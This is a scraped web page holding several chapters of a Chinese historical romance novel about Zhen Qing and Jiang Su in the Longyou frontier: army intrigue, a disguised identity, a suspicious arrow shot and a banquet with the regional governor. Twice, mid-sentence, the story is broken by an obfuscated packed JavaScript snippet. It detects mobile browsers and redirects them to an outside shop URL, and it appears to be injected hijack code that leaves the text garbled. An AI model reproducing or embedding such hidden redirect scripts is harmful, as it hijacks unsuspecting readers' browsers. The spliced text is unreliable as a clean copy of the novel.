这吻落得浅显,枕清正想松手往后退,江诉却意犹未尽,拉住帽兜的手连带枕清的手转下,枕清倏然一惊。 江诉无视枕清微微的挣扎,顺势环住枕清纤细的腰肢,俯下身吻住她的唇瓣,舌头轻巧探入。 突如其来的深入,枕清脑子一片空白,随后不甘示弱与之缠绵,舌尖摩挲,两方取夺。 半晌后,枕清被吻得喘不过气来,大口呼吸新鲜空气,可一抬首,便直直地望进了江诉贪欲的双眸中,戒备心起,心中那根弦紧紧绷着。 她抿唇,警惕道:“今日,不可以。” “自然。”江诉唇瓣勾起,“我知你受不住。” 枕清脸颊一热,推开江诉,独自朝前走去。 江诉默默跟在身后,脸上的笑意怎么也阻挡不住。 次日一早。 枕清梳洗完毕,跟随江诉一同去了训练场,许多投过来的视线带着揶揄,甚至还有几个胆子大高声喊了几声嫂嫂。 江诉怕枕清感到不适或是害羞,叫牧青和卷柏把人带进帐篷里。 进了帐篷,卷柏这才完完全全看清北肆姝的容貌,令她没想到的是,北肆姝的容貌竟然和枕清有七八分相似! 怪不得江诉从初次见面就和北肆姝缠绵,感情是把这位小女娘当成枕清的替身了? 枕清留意到卷柏的目光从疑惑到怜悯,眉梢微微一挑,并没有去解释,任由她在脑海里对自己的身份浮想联翩。 她伸出手拨开桌案上的熏香,颇有女主人的做派,直白地问牧青有关江诉在陇右的事情,牧青先是看向帐篷外的江诉,发觉江诉的视线并不在他身上,而是看着正在望着自己的枕清。 枕清对外面的目光仿若未觉,而是极其有耐心地等待牧青的动作,牧青心下焦灼,不知道该不该对枕清说这些事情,还没等他开口,一旁的卷柏倒是先沉不住气了。 卷柏想到来陇右这些事情,觉得来气极了,推搡着牧青叫唤说:“你若是不敢说,那就我来说!” 见卷柏和枕清如此,牧青心下一横,却又突然冲出一个人。 那人掀开帘帐一角,气势带风,拱手说自己叫邓跃,极为羞愧地开了口,枕清也了解了大概。 江诉刚到陇右的时候的确和符生枝相处过,只不过并未过多理会江诉,而是把他丢在长史的位置,让他操练之前属于王闻礼的那些兵。 而早在之前,王闻礼的部下听到王闻礼的死讯,已然散成一盘沙,心中也有一番打量,猜测是长安里的人害怕陇右,所以把王闻礼给害死,有怀疑有愤恨。 让一个不知底细的新人来接替王闻礼的位置本就让人难以信服,更何况还要听从江诉的话,换做任何一个人,都不会诚心接受,更何况是在陇右这种人人都豪迈、狂野的地方。 几种怨怼的情绪杂糅,因此在刚开始的时候,可以说得上是让江诉自生自灭。 恰在那时,正值春季,符生枝大手一挥,给江诉一小队人马去剿沙匪,把一个长安城里来的文官给解救出来。 美名其曰地救老乡,可是谁又知道着江诉会不会死在沙匪手里,又或者还没到沙匪跟头,就因为不熟悉地势,在沙漠中找路,抑或是没找到水而渴死过去? 听到大都督这般下令,众人心中都有猜疑,更多人觉得这是大都督给新来的长史一个下马威,况且他们都是跟随王闻礼的人,突然换上了一个长安城里啥都不懂的文官,自然不可能会完全地听从江诉的。 江诉长相又如此俊美秀气,身形清瘦,看起来连把大刀都拿不动,绝不可能令那些弟兄信服。 既然是大都督吩咐,他们不得不从,江诉自然也跟随他们一同去了沙漠。他们在路上没少给江诉使绊子,甚至还有意图把人困死在沙漠里,可没想到江诉比他们还了解大漠的地形。 说到此处,邓跃看了一眼牧青,其实这个地形倒也不是江诉看出来的,而是牧青。牧青本就参过军,也在军中立过大功,自然知道他们这群人是什么样的心思,也提前做过打算。 见邓跃停住不再往下说,牧青自然接过话,继续说道,之后牧青和江诉在沙漠徘徊半晌,看到天空有几只大雁在空经久盘旋,好似迷了路,而那时的他们也同队伍走散,两人在沙漠中凭借脚步印子和大雁迂回的迹象,终于发现了那些沙匪的踪迹。 于是联络布局,来了一招声东击西。 牧青引开沙匪,江诉则孤身入营,最后冒着死的危险把人带了回去。 回去的时候,邓跃那群人早就到了大都督跟前,正好说出他们身死的消息,却又见到他们两人完好无损地把人带了回来,不禁瞪大了双眼,面色千奇百怪,神态各异。 他们那群人的的确确没想过要把长安的那位文官给带回来,只是没想到江诉的本事如此好,竟然能毫发无伤地把人带回来,不禁对他多了几分不可小觑地赞赏。 符生枝见江诉站在自己眼前,也没有感觉 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也就是走着这一步棋,这才慢慢地一步一步有现如今的地位,把散出去的人心一点点归拢,收为己用。 那日结束后,牧青却是沉不住气,黑着脸问江诉为什么要那么做,明明那群人有心害他们,可是江诉在大都督面前却没有揭发,甚至还把功劳分摊出去。 江诉则是解释道:“他们并不会觉得我们与他们是一道人,他们心中警惕长安城里来的人,我能明白理解,因为近年来太后有所动作。至于为什么不在大都督面前揭发他们这一路上的使绊子,你难道真觉得在王闻礼的这一批人里,没有他的人吗?其实他心中清楚,却没有偏向我们,这就说明,即使我们说了,也于事无补。 “难不成还要在这都护府里吵个高低吗?如此,倒不如把功劳分摊,让他们心中起疑和羞愧,从而闭上他们的嘴。但在很多时候用嘴说的,并不能解决什么,而是要看你有能力做什么,他们会跟随且信任王闻礼,自然有他的过人之处,但我能代替他,担任这个长史的位置,定然也不会叫他们觉得空穴来风。牧青,这里不同于长安城。” 长安城里的文官,那张巧嘴能杀人,可陇右这边的莽夫,没等你张嘴把话说完,便已经砍下你的头颅。 自那次以后,王闻礼的部下分成了两队,有些人暗暗观摩江诉的行为和动作,慢慢地接受江诉,也有依旧对江诉不屑一顾。 渐渐地,他们也发现江诉做事并非优柔寡断,更多是带着强硬的干脆利落。 其实手底下的人也知道王闻礼只是表面上和大都督关系极好,他们也和大都督底下的人马早有分歧,有王闻礼在的时候,还能有几分张扬,一旦王闻礼不在,他们便处处被大都督府的人压一截。 所以他们需要能跟王闻礼有同样能力的人,但刚来的江诉并不能满足于他们,至于完全臣服的转机,还是因为大都督那一次的命令。 53. 月坠云披压青枝(四) 那时候大都督大抵是想要把王闻礼留下的支队消耗殆尽,派他们去完成一个艰巨的任务,恰巧面对吐蕃和沙匪两面夹击,腹背受敌,所有人都觉得自己必死无疑。 有人开始暴怒推搡,也有人默默等死,唯独江诉格外地冷静,始终都是冷眼看着他们。 一旦被人冷静看着,心中总归是没底气。 有人想要独自离开,也有人想要逃走,江诉当即下令,倘若有人离开,杀无赦。 他说他不喜欢把剑刃对准自己人,如果今夜有人敢违抗他的话,那他今夜就破个例,顿时没人敢再出声囔囔要离开。 彼时的江诉也瞒着所有人埋了一个坑,白日和吐蕃沙匪玩起了捉迷藏,在茫茫无际的沙漠中找不到一丝半点的踪迹,让吐蕃和沙匪被迫在夜间行动。 大漠的夜晚昼夜温差极大,白日滚烫得如同在火上斥烤,晚间简直像是进入冰窟中,说是冰火两重天也不为过。 夜黑风高的,身体逐渐寒冷,为了御寒,便需要用枯萎的胡杨树燃烧来暖身子,可江诉不允许任何一个人点起星火,即使抱团取暖,也不允许有一丝火光出现,有些人开始暗自唾骂。 人都快冷死了,还要一个劲地等待。 吐蕃和沙匪也等待着,埋伏在沙丘里,久久没看到柴火堆,身体温度逐渐失衡,沙匪猜测人或许走了,于是开始命人点燃了火堆抵御寒冷,也恰在此时,埋伏已久的吐蕃看到如此情形,原本昏睡过去的身躯如同打了鸡血,直接拿着弓箭弯刀射杀那群人。 夜晚乌黑的视线本就看不清,更何况是大漠,都是断壁残垣的地方,唯有点亮的地方像是指明了方向,全部冲那一个方向而动。 突如其来的袭击,让沙匪摸不清头脑,但也快速拿起武器抵抗,待再次一抬眼,两方人马已经厮杀在一起。 而彼时的他们转战到了沙丘高处,看着两方狗咬狗的戏码,邓跃等人拍着大腿哈哈大笑。 以土匪来打吐蕃,到头来,他们自己还没动一兵一卒。 “这长安城来的人就是不一样,脑子都比我们好用。”高侠笑着说。 “现在你可服气了?”张飞飞问。 高侠朗声道:“自然,我可不敢不服气,以后我高侠唯江长史马首是瞻!” 好一招扬眉吐气! 明明也就半年多的时间,就已经出生入死过好几回了。 江诉微微勾起淡淡地笑意,面容平静无波,待两方人马都已精疲力尽,他率着人马朝那处而去,最后将精疲力竭的两队人马围堵起来,竟也这群人身上搜罗到不少的好东西。 那些弓箭断刃暂且不说,他们还在那群人身上搜罗到粮草和火药,这些年陇右虽说兵力强盛,粮草充足,但谁也不会嫌这种东西多,倘若日后再有这种事情,粮草和火药简直如虎添翼! 此次大获全胜,是符生枝也没有想到的事情,符生枝本就讨厌吐蕃人,在江诉回来时,有意大摆宴席,祝贺江诉来到陇右,甚至在众人面前要跟江诉结拜为兄弟,就连当初的王闻礼都没有此等待遇,可见这位大都督是多么喜欢这位新来的长史。 众人眼观鼻,鼻观口,口观心。 如此一来,再也不敢小瞧这位来自长安的郎君。 也正是因为那次,江诉才和符生枝走得近些,直至今日,江诉出入大都督府内都不需要打招呼。 这些事情,枕清在长安城里,可是一点风声都没有听到,她在心中不禁升起警惕,内有许多存在疑惑的地方,可是她不便去问旁人,只能等着江诉回来跟她细说。 这两日,她逐渐察觉到,陇右这个地方的消息,好似被人封锁,传不到长安城里,这一定是有人故意为之,而这个人掌握着陇右所有消息的途径。 或许在陇右传回给长安抑或是朝廷的信件都绝非完全真实。 所以她让江诉来到陇右这个地方,也是太过贸然和冲动。 枕清心中微微叹息惆怅,不过现下也已经来了,只好走一步看一步再说了。 听牧青说这位大都督只有一位娘子,没有别的小妾和外室,据说那位娘子是个漂亮温柔的美人,大都督对她也极为体贴,生怕出了差错。 可昨日在江诉口述中,那位女娘绝非是个简单的人物,很多符生枝操持的事情,或许都有这位女娘的手笔,更多地不像是正常的夫妻,而是背后指点操作符生枝的高人。 枕清越来越想看那位女娘是如何模样。 至于牧青和江诉是怎么认识的,枕清好似知道,因为曾经听过江诉所说过——“正值混乱,其他州县又有不少山匪横行,军队人数不足,而我被抓去充了军,又因太过饥饿,并没有反抗,也便随波逐流了。一年过后,我受了重伤,军队将我遗弃在路上,所幸被人搭救,在别处混迹两年多,又长途跋涉半年,这才进入长安。” 大概是充军时候认识的,枕清向牧青询问真相的时候,牧青说的确是那时候。 一旁的邓跃被无视,心里没有升起不快,他知道眼前的小女娘在日后会成为江诉的娘子,所以方才在帐篷外听到她向牧青询问的时候,以为是替长史大人兴师问罪、秋后算账来着,结果到现在都没有吱声? 他站在这里难耐,见枕清慢条斯理地看起了桌案的兵书和册子,突然高声道:“贵主,您千万别怪罪兄弟们,虽说我们那时候对长史大人有使坏心思,可是我们早就悔改过了,现在对长史大人忠心不二!” 枕清微微挑眉,以漫不经心地姿态看向邓跃,启唇问道:“好,那我问你一个问题。” 邓跃恭敬道:“贵主请说。” 枕清勾唇,微抬下巴,问道:“倘若日后王闻礼回来,你是选江诉,还是跟随旧主?” 邓跃立时心中大动,猛地看向枕清。 枕清这话到底是什么意思? 是有意试探?还是说告诉他王闻礼没有死? 即便他心思再活络也一下子分辨不清枕清的意思,他觉得自己把自己堆在炭火上烤。 焦灼,但又毫无思绪。 “不敢回答?”枕清的声音响起,仿若催促。 邓跃心间猛然一跳,他当即识时务道:“自然是选江长史,王闻礼都早已经成为刀下魂了,我又如何能跟他下地府找阎王呢?我还想多活几十年,贵主真是说笑了。” “那不就得了,既然已经做过的事情无法改变,你现在凑在我跟前,是想让我对你先前犯的错误施以惩罚?或是想让我不要替江诉翻旧账?”枕清看穿他的想法道,“既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13665345|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然江诉都不说什么,我自然也不会。” 邓跃垂首,忽而觉得有种被看穿的难堪,刚想要替自己找个台阶下离开,枕清却是先抬手屏退了他。 经过和枕清这两句对话,邓跃心不自觉地狂跳,待自己慢慢退出帐篷内,才觉得自己终于能喘息一会,他抬手摸了摸自己的额头的汗渍,才发觉自己背后早就大汗淋漓。 他可不敢小瞧了这位女娘。 日薄西山。 江诉掀开帷帐看到枕清正专注地看着兵书,并未没有打扰,反倒是轻手轻脚地坐在一旁,不过枕清有所察觉般,看完最后一段话就合上了兵书。 她笑着望着来人:“看来江长史有一仗要打。” 江诉意外:“哦?何以见得?” “桌案上这么多兵书,难道不是吗?”枕清扬眉挑衅,“难不成你要同我说,你用这些都是用来追人的?” 江诉走前,抬起枕清的小脸,笑答:“是啊,为了追你,可不得费点心思?” “军书十二卷,卷卷有我名?” 枕清微微颔首,拿下他的手放在自己身前,凑近道:“江长史追我何须费这么大的力气,如果是你,我很好追的。” 江诉侧过脑袋,唇瓣贴上她的耳廓:“好啊,那我今夜费点力气,争取早日将你追到。” “你怎的这般流氓?”枕清嗔怪,却不反感。 她本来也就不是什么放不开的人,跟着江诉一同回了驿站,走近房屋内,一眼便看到石台上那张佛像。 眉眼低垂,慈悲肃穆。 那日,她被江诉压在石台上就已经注意到,只是她沉溺在满身的情欲之中,并没问出口。 枕清略有所思,意外道:“你竟然还信这些?” 江诉顺着枕清的视线探看,那是一张很久很久的佛像,不是他挂上去的,却也一直保留在他屋内,他也没有要拿走的意思。 他还未开口,只听枕清又道:“江诉,我从始至终都觉得神是冷漠的,所以我从来不信神。就算日后我死了,我大抵也会成为恶鬼,我心中有许多不平事,看到那些东西我只有一种想法,那就是虚伪。” “人这一生好似就是不公平的,起码没有绝对的公平,从身高、容貌、天资就已经开始注定了。”枕清走前,抬手拿掉已经燃烧殆尽的香火。 屋内的烛光昏暗,江诉看不清那副神像真正的样子,他会任由神像挂在这里也只是为了让心中有个安定的寄托,虽然会觉得自欺欺人,可有些东西必须需要自欺欺人才能活得下去。 枕清转身,轻道:“在上一世里,我总觉得你好像菩萨,这种感觉不是因为容貌上的相似,而是因为你那双怜悯却又冷漠的目光,没有温度,没有爱。” 江诉缓缓走前,烛火照亮他半侧容颜,温和又漂亮。 寂静的夜晚,安静到让人听不到一点声响,彼时的屋内只响起江诉的脚步声,一点又一点的靠近,如同在她心尖上敲着。 江诉站在她身前抬手,捋一缕鬓边的发丝别到她耳后,或许是她现在的身体太冷,便觉得江诉的手是暖的,有几许缠绵留恋。 忽而,江诉微微抬起她的下颌,倾身吻上她。 “菩萨不会爱你,但我会。”他说。 54. 月坠云披压青枝(五) 北庭都护府置于庭州,位于天山以北,统辖十八州。陇右原本还有另一个都护府,以天山为界线,分治南北。不过后来因为勾结外戚,便全部交由北庭大都督管辖。 在北沙窝停留了三日后,大部队开始启程前往庭州。 在此之前,枕清曾问过江诉是否真的因为她身体的原因在北沙窝耽搁停留到今日。 江诉明确地跟她说不是,早在之前就打算在北沙窝停留这么些日子,因为他们手中还有粮草,正巧趁着这个机会把东西送过去。 “所以在第一夜,你才敢那般对我下着狠劲?”枕清分析道,“一来是让别人觉得你是为了我,掩饰行踪;二来满足你自己的私欲?” 江诉没有被揭穿的不适感,枕清接着揶揄道:“我可还记得某人在上一世里的冷眼旁观,怎的如今转了性子一般。” “大概是那时,眼瞎了。”江诉平静道。 ...... 来凉州时的那辆马车,车身与帷帐缀满珠宝珍珠,太过醒目张扬,并不符合枕清的性格,但是为了不露馅,她还是叫上了卷柏一同坐上自己的那辆马车。 卷柏听到此话,立时变得兴奋,暗搓搓地想要把各种各样的珠宝扣下来,一定卖出不少钱。 这几天,卷柏一直有怀疑过枕清的身份,她觉得北肆姝和枕清长得太过相像了,而又是这么巧,都和江诉产生了瓜葛,奈何她没有证据,只好悄悄摸摸地试探她身边的人。 她试探过仇羌,仇羌却是知道她的想法一般,反倒是把她所知道的东西挖到一点不剩,到最后,她还没知道他们多少事情,反倒是把自己在陇右和长安的事情抖得一干二净。 倘若仇羌要跟她骗钱,她一定被输得连底裤都不剩。 这条路行不通,她转而试探问起北肆姝的奶娘。 据说这位奶娘一直带着北肆姝长大成人,势必对北肆姝的习惯和性格极为了解,假若北肆姝是枕清假扮的,在短时间内,一定不能做到天衣无缝。 可一路上,那位奶娘对北肆姝无微不至,只要北肆姝一个抬眸或者垂眼,奶娘都知道北肆姝的所知所想,甚至提前预判她想要的东西,就连脾性都摸得极为清楚。 她还问过那位奶娘,那位奶娘对北肆姝的了解都能和北肆姝的行为对上,而这样的熟稔绝非一朝一夕就能完成的事情。 当卷柏断了北肆姝是枕清的想法后,觉得江诉是把北肆姝当成替身后,越发觉得生气,甚至在路上便对江诉开始了指指点点。 江诉骑着马匹路过枕清的马车,垂下丝丝条条的幔帐若隐若现,枕清微微抬眸看向江诉,卷柏当即挡住两人的视线。 卷柏怒道:“看什么看!我知道北小娘长得好看,但你也不要时时刻刻紧贴着,况且你心里到底想着谁,你自己知道!” 听到这话,这些日的不明所以,终于如同拨云见日。 这是不满他把北肆姝当成枕清的替身,江诉瞧着卷柏身后漫不经心地望着他的枕清,微微叹息道:“我心里想着谁,你或许不知道,我想肆娘一定清楚。” “肆娘?”卷柏面容逐渐变得扭曲,气得浑身都在抖,“当真是好亲密地叫唤,我都没这么叫过!” 枕清恰在此时掀开帷帐,头顶的烈阳照在她白皙精致的面庞上,微微垂下的鸦睫在脸上落下一层淡淡的阴影,清冷又空灵。 她侧过脑袋看着卷柏,使坏般道:“我在家中排行老四,阿耶便给我取了个肆姝的名字,江长史唤我为肆娘倒也合情合理,只是小娘子何故这般生气?莫不是吃了我和江长史的醋?不高兴了?” 还没等卷柏反驳,枕清再次抬眸朝江诉望去,在江诉意外挑眉,与下压眼睑的双眸内窥探到隐含的警告。 枕清权当没看见,继续道:“好妹妹,这些日子我是真的喜欢你,倘若你也喜欢长史大人,我自然也不跟你争,到时候我看到那大都督若是比江长史更俊美些,我便嫁给那位大都督,这样江长史便是你一个人的了。” 卷柏茫然地哈了一口,她又是摇头又是震惊,支支吾吾说不出话,又气急地结巴道:“我不喜欢长史大人!我是......我是......不想小娘子上当受骗!” “哦?我上什么当?又受什么骗了?”枕清盯着卷柏的双眸,带有茫然无措地天真。 卷柏如鲠在喉,她悲愤可气地瞧了一眼江诉,又看了看枕清,嘴不禁瘪了下去,好似下一秒就能哭了出来。 “他把小娘子你当成了替身!” 枕清突然笑了出来,别有深意地望着江诉,随后松开手中的帷帐,几缕垂挂下的珍珠玛瑙相互交缠,她用他们几人都能听到的声音,慢条斯理道:“倘若有人真的把我当成某个人的替身,那么我一定会让他赴黄泉跟阎王爷好生作伴。” 马车外的江诉闻言,面容上没有什么表情,反倒是附近的几个人不禁抬头看了又看,也不觉得江长史是这样的人。 江诉没一直跟在枕清的马车边上,他朝里望了一眼,便夹着马肚骑到最前方,继续朝前探路。 枕清倾身凑近摸了摸卷柏的脑袋,温柔地喊出卷柏的名字,轻轻道:“我到底是谁,你是真的想清楚了吗?” 卷柏脑子里蹦出一丝疑惑,她眼中噙着泪珠,方才在内心交织的背叛和道德,顷刻间化作了虚无。 枕清抬手揩掉她眼尾的泪花,问道:“为何一定要盯着奶娘,虽然我的身份是假的,但不代表奶娘就是真的,之所以为什么这么熟稔,当然是因为奶娘就是我的奶娘啊。” 卷柏这才明白过来,北肆姝就是枕清。 原来这个奶娘也是假的,北肆姝也是假的,但是和枕清的情谊是真的,自然看不出来问题。 “你为什么要告诉我这件事?”卷柏知道枕清的身份不太能与旁人说起,更何况是当下这个节骨眼,如果她要是一不小心说出去,不仅仅是枕清完蛋,就连江诉和牧青也会招来祸患。 枕清突然笑说:“你这么针对江诉,他又觉得心中奇怪,不知你所想。而我又不忍心看着你因为自己坚守的道德难受,索性就告诉你好了。小卷柏,一定要管好自己这张嘴,不然我们都得陪你死。” 卷柏捂住嘴,又点点头,保证道:“我一定会把这个秘密带进土里。” 枕清弯起眼,满意道:“真乖。” 半会后,枕清逐渐犯了困,靠在马车一角闭目养神,卷柏突然伸出一根手指道:“那我可不可以,摘几颗夜明珠放进袋子里,就几颗,绝不多拿!” “拿吧。”枕清轻声道。 话音正落,突然有一支利箭刺破帷帐而来,生生从卷柏的手指前略过,枕清的困意当即烟消云散,拉住卷柏朝自己方向靠近,随后掀开帷帐,冷静问道:“有埋伏?” 高侠夹着马肚而来,仓皇解释道:“没有没有,只不过是猎夫射大雁的箭矢射偏了,刚好惊吓到了两位小娘子,我这就把那位猎手抓过来,好给两位小娘子赔个不是。” 落完这句话,高侠抬眼看到枕清和卷柏无动于衷地看着他。 卷柏则是倚靠在枕清身边,她刚才真的是吓坏了,到现在还没缓过劲来,而枕清压根不信什么猎夫的准头这般差劲,竟能往别人头顶上射。 枕清见人没动的迹象,霎时就明白高侠方才那般话也只是客气,最终目的是希望她能息事宁人说算了。 可枕清偏不,她冷声吩咐道:“那就抓过来,好好地问一问他这箭的准头,究竟是太差了,还是太好了!” 见人没有动作,枕清也知道自己叫唤不动这些人,而是转头问向旁人:“江诉呢?” “江长史率着一队人马去前方探路了,现在不在队中。”那人恭敬答道。 枕清当即唤了仇羌过来,冷冷微笑道:“你去,把那个所谓的猎夫拎到我跟前来,我要看他再射一遍。” 所有人都能看出枕清是在动怒,甚至有种不肯罢休的气势。 没想到陇西的女娘也如此的不好招惹,竟然有如此刚硬强势的一面,这般模样不禁让他们想起了江诉,好像初见也是这般样子,只是枕清显露的锋芒比江诉更早。 怪不得前几天的邓跃说这位新来的小娘子不容小觑,他们着实体会到了。 高侠见到仇羌,隐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他们现在更不可能和徐瀚相认,如果让别人察觉到,不仅把自己带到沟里,更会暴露王闻礼的存在,更加把人置于危险之中。 枕清瞧见他们憋屈的模样,心中并未升起不快,但也没畅快到哪里去,这就说明王闻礼就在他们身边。 现在敌暗我明。 徐瀚压根不信枕清会放过他,当然他也不想再射出那一支箭矢。 枕清见人如此,突然不想玩这个游戏了。 她觉得乏味,转而直白问道:“刚才那支箭,是不是冲着我的命来的?” “没有。” “死到临头还嘴硬,倒是和你的主子有几分相像,就不是不知道他那双眼睛可还好啊?”枕清眼神微微上扬,带着挑衅的意味。 徐瀚果真大怒,枕清仿若未觉,只是冷冷垂眸看着他暴怒的模样道:“想杀我?那要看有没有这个命了。” 枕清微微一抬手,仇羌当即明白,把人带离了这处。 高侠看着那远处的身影,突然有想过去的冲动,枕清突然喊住他:“高副尉,很多情谊早在之前就该断了,如果孰轻孰重都拎不清的话,势必会在日后吃大亏。我并非是有警告你的意思,只是我想你应当明白轻重。 “那个人是谁,从何而来,想必你心里很清楚,当然也不只有你清楚,我也知道,忠主是一件好事,只是你要看看你现在在谁的底下做事。看准时机很重要,但若想当墙头草两边倒,我并不觉得任何一位贵主有这般容人的气度。今日的事情,我不知道会不会传到江诉耳朵里,更不知道就算传进他的耳朵里,他又会如何想。但起码有我在的地方,我容不得任何一粒沙子。” “倘若真的有人让我含下这一口沙子,”枕清轻哂道,“不死也得死。” 这话说得严重,不过并非没有任何分量。枕清底下可是有百余位训练有素的骑兵,而且身边也不缺贴身高手,起码刚才所见到仇羌就不是一个简单的人物,即使外表看起来柔弱女相,但是动起来手来毫不手软。 枕清见仇羌回来,也没有多说什么,只是各自都清楚明白这个人留不得,王闻礼已经到了陇右这块地方,他们必须要先和大都督打好关系,不要在背后被策反了还没有任何防备。 只是不知道这位大都督究竟会不会选择王闻礼。 枕清察觉传来到一阵晕眩,当即靠在马车后闭眼。 所幸这件事没耽搁多久。 卷柏则是安安静静地躺在枕清身边,她没明白为什么枕清会突然说出那些话,好像他们都有不为人知的秘密。 55. 月坠云披压青枝(六) 五天后,他们一行人终于到了北庭。 北庭都护府布局略呈长方形,南北长约有两里,东西约为一里。东临东河坝,西接西河坝。城池布局因受长安城的影响,分为内外两城,城池为不规则长方形分布,内城为全城的中心所在,位于外城中部略偏东北部,城墙周长两里,官署多居其中。 外城规模相较于内城更大一些,外城之北还有低矮的羊马城,内外城墙都有马面、敌台、角楼和城门。外城北门还有瓮城,城外有天然河环绕成护城河,城墙为夯筑,高与宽皆约为七八米。[1] 枕清坐在马车内,静静地听着人给她讲这些布局,稍稍瞥眼,便能看到道路两旁广阔,偶尔投来几缕打量的目光。 这里的百姓看起来极为和善,甚至还会跟张飞飞等人搭上家常话,并非有什么绝对的边界感。 民风淳朴,百姓安居乐业。 待马车安稳地停下都护府门口,枕清还没下马车,马车帐内便伸进来一只骨节分明的手,修长又漂亮。 枕清莞尔一笑,伸出手搭在江诉的掌心,江诉微微用力,便将人拉近,轻巧地将她抱下了马车。 她将手臂搭在江诉宽阔的肩膀上,抬眼就望见朝她这里看过来的两人,她的目光几乎一下子就被吸过去,自然也知晓这两位身份不凡,且能坦然自若地站在都护府门口,想必就是都督和都督夫人。 她和江诉的关系也无需隐瞒,陇右在他们眼皮子底下,他们也一定清楚这一路上发生的事。 况且,她来陇右本就是要嫁给江诉的。 终于看到了所谓的北庭大都督,和她所想的不同,江诉只跟她说这位大都督长相更偏向于长安,却没想到居然这般剑眉星目,而他身旁的那位俏丽女娇娘更是温婉可人,站在一起,仿若一副亮眼的风景画。 她望进那两双打量的目光,脸颊倏然一红,当即躲在江诉宽阔结实的胸膛前,当下的羞怯和暧昧也只是显露给别人看的。 江诉似有所感地回头,看着两人,笑着开口打趣道:“哥哥嫂嫂怎的都出来了,肆娘脸皮薄,若是再这般看下去,怕是不愿再跟我出来见人了。” 符生枝当即转了眼,看向身边的薄映禾,佯装责怪道:“你瞧瞧,之前我给他安排亲事,好说歹说也不愿意看一眼,现如今只瞧了一眼,就有许定终身的意思。罢了罢了,缘分到了,我也不催了。” 江诉见人走进府门内,这才牵过枕清的手往里走,接风酒桌上大摆了各种各样的菜品,不仅有长安的菜肴,还有外邦的佳酿,更有螃蟹等生冷食物。 金秋佳节,正好是煮酒的好时节。 枕清初来咋到,并没有特别熟稔地开口,而是专心致志地吃起了自己眼前的糖蟹。[2] 江诉注意到枕清的动作,一边回答这一路上的事情,一边开始剥开蟹壳,甚至站起身为其切。 “东西已经安全的送到凉州,那地方我前去探查过,并没有发现任何不妥之处,不过我好似看到了突厥的行踪,只是他们那边人少,大抵是为了打探陇右这边的消息。”江诉将切鲙好的肉都放置在一个盘子内,待盘内的肉都满了,才漫不经意地端在枕清桌案前。 这一动作,所有的人视线都刷的一下朝枕清身前的那盘鱼肉看去。 枕清下意识地瞧了主位上的两人,随后慢条斯理地沾了调制的料酒,将这一盘肉送进嘴里。 薄映禾自然也瞧见了这一行为,并未出声,反倒是符生枝大笑地点点江诉,颇有责怪的意思:“来听,你这事做得不道德,你这般体贴还未过门的小娘子,让我这空手什么都没做的人,在自家娘子面前,可真是难堪呀。” 江诉淡淡一笑道:“小女娘还没同意,我自然要体贴些。阿兄有什么好难堪的,有嫂嫂这般体贴温柔的人儿,夫妻之间琴瑟和鸣,是多少人一辈子都求而不得的。” “你这话说得当真是动听!”符生枝看着一直没开口说话的枕清道,“北刺史近年可好啊?” 枕清在这听了半天,心想这回终于要轮到自己了,半开玩笑道:“阿耶自然极好,整日在府们内寻欢作乐,快乐似活神仙。他来之前还叮嘱过我,叫我看到您老来问声好。我还以为都督大人有多老呢,没想到也是个俊俏郎君,倘若不是我先看到了江长史,我倒真是不知道如何选择呢。” 说完,薄映禾面容微微一僵,嘴角扯出僵硬的笑意,但没说话。 符生枝倒是握住了薄映禾的手,笑着瞧向枕清,话却是疏远了不少:“恐怕不行,我这一辈子只许映禾一人,不过你的性子倒是和你家阿耶一模一样。” 和你家阿耶一模一样。拈花惹草,风流博浪。 这话说得巧妙。 枕清微微一笑,放下筷子道:“大都督恐怕是想错了我的话,我从来不觉得我会做小,我那句‘我倒真是不知道如何选择呢’,只是赞誉你和江长史生得一样好看,不过我也习惯了,好看的人总会这般自恋。” 符生枝闻言挑眉,突然哈哈大笑道:“我就说来听能瞧上的女娘绝非俗物,你这般模样,哪个男子敢让你做小?不过你生得倒是与映禾有几分相似,特别是眉眼那一处。” 这话不像是轻轻揭过的措辞,仔细一看,这两人确实有这么一回事,薄映禾身子微微一僵,就连吃东西都有些许放不开,良久后才抬眸望着枕清,只是那眼神多了几许打量和探究。 枕清则是气定神闲地任由他们看向自己,拿起筷子,慢慢悠悠地吃完最后一口盘子内的螃蟹肉,弯了弯唇瓣道:“我自个儿瞧着也觉得相似,大概是美人都有共通之处。” 她这话说得的确没毛病,长得好看的确实会有共通的地方。 薄映禾与符生枝有没有在长安见过她,她自然不怕自己的身份露馅,况且在他们这般眼尖的人越是束手束脚,越是显得她心虚,反倒不如敞开些,更显坦荡。 这顿饭吃得各怀心思,待后半场后,许多人已经开始耍起了酒疯,也有人喝的小脸通红到上吐下泻。 这酒局,除了枕清和薄映禾,几乎没有人逃得掉,就连江诉也被灌了好几口酒水。 散了场后,符生枝被薄映禾虚虚地扶住手臂,不知道为何,符生枝总是有点担忧江诉和这位从渭州来的小女娘。 “你说她到底喜不喜欢来听?我瞧着那模样和性子,怕不是良配。”符生枝是真的将江诉当成自己的亲弟弟,即使他很想江诉能跟渭州攀上一层关系,但也不想江诉过得不好。 他顿感头疼,抬手撑住自己的脑袋,微微垂眸望向身旁的薄映禾。 “你既然怕,当初又何必让来听去接那位小女娘?”这话里听着有责怪的意味,薄映禾抬眸望着不远处的枕清和江诉。 江诉抬手牵住枕清的手,脑袋微微侧着,满脸都是满足和重视,反观枕清,她面容没什么表现出来的情谊。 可是,总觉得她不像是所见的那般简单。 薄映禾轻轻道:“再看看吧,或许也不是我们所看到的那般。况且,来听喜欢那样的,就算不是良配,你又能如何?” 符生枝执拗道:“我能如何?既然在陇右的地盘上,万事自然是我说的算,我棒打鸳鸯,这还能成?” 